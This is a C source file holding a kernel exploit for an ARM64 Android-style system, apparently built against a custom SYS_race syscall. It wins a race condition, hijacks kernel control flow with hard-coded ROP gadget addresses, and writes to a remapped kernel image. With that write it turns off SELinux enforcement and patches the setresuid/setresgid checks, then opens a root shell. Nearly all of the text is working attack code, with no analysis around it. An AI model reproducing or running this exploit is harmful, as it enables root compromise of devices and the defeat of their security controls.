// #define GADGET3 0xffffffc000149948 // str x20, [x23, #8] ; mov x1, x23 ; ldr x2, [x22, #8] ; blr x2
// #define GADGET4 0xFFFFFFC0000BEDE4 // handle_128() return

#define GADGET1 0xffffff80084b9224 // ldr x8, [x0, #0xc8] ; ldr x9, [x0, #8] ; ldr x10, [x0, #0xe0] ; mov x29, sp ; str x9, [x8, #8] ; ldr x9, [x0] ; mov x0, x8 ; str x9, [x8] ; ldr x9, [x10, #0x30] ; blr x9
#define GADGET2 0xFFFFFF80080DB420 // handle_128() return

#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFF8008080000

int main(int argc, char *argv[]){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

void* user_addr = mmap((void*)0x40000000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if( user_addr == (void*)-1) err(1, "mmap() failed");

// mystruct
struct mystruct* st = malloc(sizeof(struct mystruct) + 0x20);
*((unsigned long*)st->buffer)=0xe3575ca28750bdec; // random
*(((unsigned long*)st->buffer)+1)=0x2355615aefbd6548; // random
*(((unsigned long*)st->buffer)+2)=0xFFFFFF80080DB018; // cryptoctx_getbits() func 0xFFFFFFC0000BEE90;
*(((unsigned long*)st->buffer)+3)=GADGET1; // hijack 1
st->size = dest_num;

int digestsize = 0x100;
char* buff = malloc(buffersize);
char* digest = malloc(digestsize);
memset(buff, 0, buffersize);
memset(digest, 0, digestsize);

// race
pthread_t t1;
pthread_create(&t1, NULL, flipping_thread, st);

for (int i = 0; i < try_num; i++) {

// gadget
*(unsigned long*)(buff)=GADGET2; // gadget1: stage2: x9
*(unsigned long*)(buff+0x8)=d_block; // gadget1: x9(aaw value)
*(unsigned long*)(buff+0xc8)=d_block_addr-0x8; // gadget1: x8(aaw address-0x8)
*(unsigned long*)(buff+0xe0)=d_block_addr-0x8-0x30; // gadget1: stage 2: cache_addr(d_block_addr-0x8)

printf("Try for the %d time\n", i);
int ret = syscall(SYS_race, st, buff, buffersize, digest);
if (ret < 0)
printf("Execute syscall failed.\n");
st->size = dest_num;
}

finish = 1;
pthread_join(t1, NULL);

// *(unsigned long*)(buff)=GADGET2; // gadget1: stage2: x9
// *(unsigned long*)(buff+0x8)=d_block; // gadget1: x9(aaw value)
// *(unsigned long*)(buff+0xc8)=d_block_addr-0x8; // gadget1: x8(aaw address-0x8)
// *(unsigned long*)(buff+0xe0)=d_block_addr-0x8-0x30; // gadget1: stage 2: cache_addr(d_block_addr-0x8)
// int ret = syscall(SYS_race, st, buff, buffersize, digest);
// if (ret < 0)
// printf("Execute syscall failed.\n");
// return 0;

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr = 0xFFFFFF8008EDA770;
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFF80080C7074;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x36;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFF80080C7524;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x36;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);

setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

return 0;
}